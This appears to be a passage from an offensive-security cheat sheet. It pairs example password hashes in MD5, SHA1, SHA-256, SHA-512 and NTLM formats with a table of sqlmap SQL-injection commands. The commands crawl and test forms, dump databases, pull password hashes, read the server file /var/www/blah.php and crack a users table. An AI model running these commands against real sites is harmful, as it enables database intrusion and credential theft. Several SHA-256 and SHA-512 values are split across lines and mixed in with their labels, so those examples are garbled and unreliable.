MD5 $PASS:$SALT Example 01dfae6e5d4d90d9892622325959afbe:7050461

MD5 $SALT:$PASS f0fda58630310a6dd91a7d8f0a4ceda2:4225637426

SHA1 Hash Example b89eaac7e61417341b710b727768294d0e6a277b

SHA1 $PASS:$SALT 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014

SHA1 $SALT:$PASS cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024

127e6fbfe24a750e72930c220a8e138275656b
SHA-256
8e5d8f48a98c3c92df2caba935

c73d08de890479518ed60cf670d17faa26a4a7
SHA-256 $PASS:$SALT
1f995c1dcc978165399401a6c4

eb368a2dfd38b405f014118c7d9747fcc97f4
SHA-256 $SALT:$PASS
f0ee75c05963cd9da6ee65ef498:560407001617

82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
SHA-512
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f

e5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
SHA-512 $PASS:$SALT
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd

976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
SHA-512 $SALT:$PASS
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a

NTLM Hash Example b4b9b02e6f09a9bd760f388b67351e2b

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 SQLMap Examples

COMMAND DESCRIPTION

sqlmap -u http://meh.com --forms --batch --crawl=10

Automated sqlmap scan
--cookie=jsessionid=54321 --level=5 --risk=3

sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE

--level=3 --current-user --current-db --passwords Targeted sqlmap scan
--file-read="/var/www/blah.php"

sqlmap -u "http://meh.com/meh.php?id=1" Scan url for union + error based injection with mysql backend
--dbms=mysql --tech=U --random-agent --dump and use a random user agent + database dump

sqlmap -o -u "http://meh.com/form/" --forms sqlmap check form for injection

sqlmap -o -u "http://meh/vuln-form" --forms sqlmap dump and crack hashes for table users on database-
-D database-name -T users --dump name.

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